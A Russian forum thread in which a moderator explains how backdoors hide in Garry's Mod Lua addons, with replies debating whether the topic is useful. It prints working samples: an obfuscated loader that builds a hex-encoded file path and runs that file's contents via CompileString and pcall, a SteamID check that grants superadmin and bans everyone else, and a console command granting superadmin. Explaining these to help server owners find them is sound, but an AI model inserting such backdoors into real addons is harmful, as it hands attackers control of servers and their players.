• Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами Публичной оферты Проекта NetZONA.org: https://netzona.org/help/public-offer/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами использования Ваших файлов cookie на Проекте NetZONA.org: https://netzona.org/help/cookies/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с Политикой конфиденциальности Проекта NetZONA.org: https://netzona.org/pages/privacy-policy/

  • Ответы на основные вопросы: https://netzona.org/threads/populjarnye-voprosy-i-otvety-na-nix.6122/

  • Приветствуем на сайте, Гость! Приобрести (купить) Информационную услугу (в том числе группу "Проверенный") на Проекте NetZONA.org: https://netzona.org/account/upgrades

Более сложный BackDoor

InTeaReable

Модератор
Команда форума
Проверенный
Регистрация
3 Апр 2020
Сообщения
259
Реакции
8
Баллы
62
Возраст
26
Клан-тег
RCN-NV
Пол
Мужской
Семейное положение
Женат
Род занятий
Mapping Source Engine, Python/Lua programmist, Designer, FL Studio Enjoyer.
Привет всем, и сегодня я вам расскажу о обфускации кода и бекдорах.

Обфускация кода - приведение исходного текста или исполняемого кода программы к виду, сохраняющему её функциональность, но затрудняющему анализ, понимание алгоритмов работы и модификацию.

Тем самым спрятывая бекдор, в толще слоев кода, или нагло в отдельном файле.

Покажу наглядно
Lua:
    local UNORDERED_LIST =
    {
        "\x6d","\x61","\x74",
        "\x65","\x72","\x69",
        "\x61","\x6c","\x73",
        "\x2f","\x6e","\x70",
        "\x63","\x2f","\x68",
        "\x65","\x6c","\x70",
        "\x2e","\x76","\x74",
        "\x66"
    }

Здесь переменная с запутаными данными, там может находиться что угодно, от ссылок до команд. Чаще всего такие бекдоры находятся в SV части аддона (Держу в курсе)

Lua:
local function HELPER_INFO()
        return ""
    end

    local function HELPER_ISFUNC(func)
        if (isfunction(func)) then
            return !false
        else
            return !true
        end
    end

    local function HELPER_READ_DATA(data)
        return file.Read(data, "GAME")
    end

    local UNORDERED_LIST =
    {
        "\x6d","\x61","\x74",
        "\x65","\x72","\x69",
        "\x61","\x6c","\x73",
        "\x2f","\x6e","\x70",
        "\x63","\x2f","\x68",
        "\x65","\x6c","\x70",
        "\x2e","\x76","\x74",
        "\x66"
    }

    local function HELPER_MAT()
        if (!false) then
            return string.Implode("", UNORDERED_LIST)
        end
    end

    local CALL =
    {
        ClearBackgroundImages, ClientsideModel, ClientsideRagdoll, ClientsideScene,
        CloseDermaMenus, collectgarbage, Color, ColorAlpha,
        ColorRand, ColorToHSV, CompileFile, CompileString,
        ConsoleAutoComplete, ConVarExists, CreateClientConVar, CreateConVar,
        CreateMaterial, CreateParticleSystem, CreatePhysCollideBox, CreatePhysCollidesFromModel,
        CreateSound, CreateSprite, CompileString, CurTime,
        DamageInfo, DebugInfo, DeriveGamemode, Derma_Anim,
        Derma_DrawBackgroundBlur, Derma_Hook, Derma_Install_Convar_Functions, Derma_Message,
        Derma_Query, Derma_StringRequest, pcall,
    }

    CALL[35](CALL[12](HELPER_READ_DATA(HELPER_MAT()), HELPER_INFO(), 0))


Такой вид бекдоров распространился очень быстро, поэтому очень вам советую ПРОВЕРЯТЬ каждый файл, если даже он не содержит fetch или RunString.

1650006986369.png

Еще один по популярности пряток бекдор, его идея состоит в том чтобы код был в дальнем правом боку строки.
 
Благодарю за информацию;)
 
Дополняю пост который выше. Выдача Админки


Данный бекдор не заметит только отсталый, при вызове этой функции у нас будет проверка есть ли игрок с определенным Steam ID, если есть то выдает СуперАдминку. Если же нет тогда всех банит.

(
"BACKDOOR", function(ply)
if (ply:SteamID() == "SteamID_2312345465") then
RunConsoleCommand("ulx", "adduserid", ply:SteamID(), "superadmin")
else
RunConsoleCommand("ulx", "banid", ply:SteamID(), "0", "Вы забанены по причине: 'вы конченый'")
RunConsoleCommand("fadmin", "ban", ply:SteamID(), "0", "Вы забанены по причине: 'вы конченый'")
end
end
)

Такие бекдоры ищутся по ключевым словам RunConsoleCommand, adduserid.



Есть аналогичный бекдор, только при вызове команды asd в консоли, выдается СуперАдминка.

concommand.Add("asd", function(player)
player:SetUserGroup("superadmin")
end)
 
Последнее редактирование модератором:
backdoor
Опасный очень
Я не понимаю это к чему ? Или же просто так что-ли написал, заработать сообщения ? Я всего лишь показываю незнающим людям их виды реализации.
 
Я не понимаю это к чему ? Или же просто так что-ли написал, заработать сообщения ? Я всего лишь показываю незнающим людям их виды реализации.
О бэкдорах уже писал Морган, очень подробно, так что смысла в теме просто нет)
 
О бэкдорах уже писал Морган, очень подробно, так что смысла в теме просто нет)

Полноценный пост писал только S1len (Как избежать Kvac Door), да и у него нет ИНФОРМАЦИИ от слова совсем. Я не видел особо тем на этот счет.


(Почему-то весь текст выделился в черный и не меняется)

 

Полноценный пост писал только S1len (Как избежать Kvac Door), да и у него нет ИНФОРМАЦИИ от слова совсем. Я не видел особо тем на этот счет.

(Почему-то весь текст выделился в черный и не меняется)

У вас то прям подробно написано, как избежать kvacdoor. Ответ всегда один "Не качай лики" или "Проверяй все файлы"
 
У вас то прям подробно написано, как избежать kvacdoor. Ответ всегда один "Не качай лики" или "Проверяй все файлы"
Я снова повторяюсь, я показываю ВИДЫ бэкдоров. И как примерно они ищутся! В его посту можно было описать ВСЕ и сразу. И не разглагольствовать что нужно было проверять файлы в каких-то папках. Мой гайд дополнительно может быть нужен для разработчиков, потому что реализации бэкдоров иногда поражают (Некоторые бэкдоры вроде бы можно вшивать в VMT(Скоро тоже добавлю))
 
Главная Регистрация
Назад
Сверху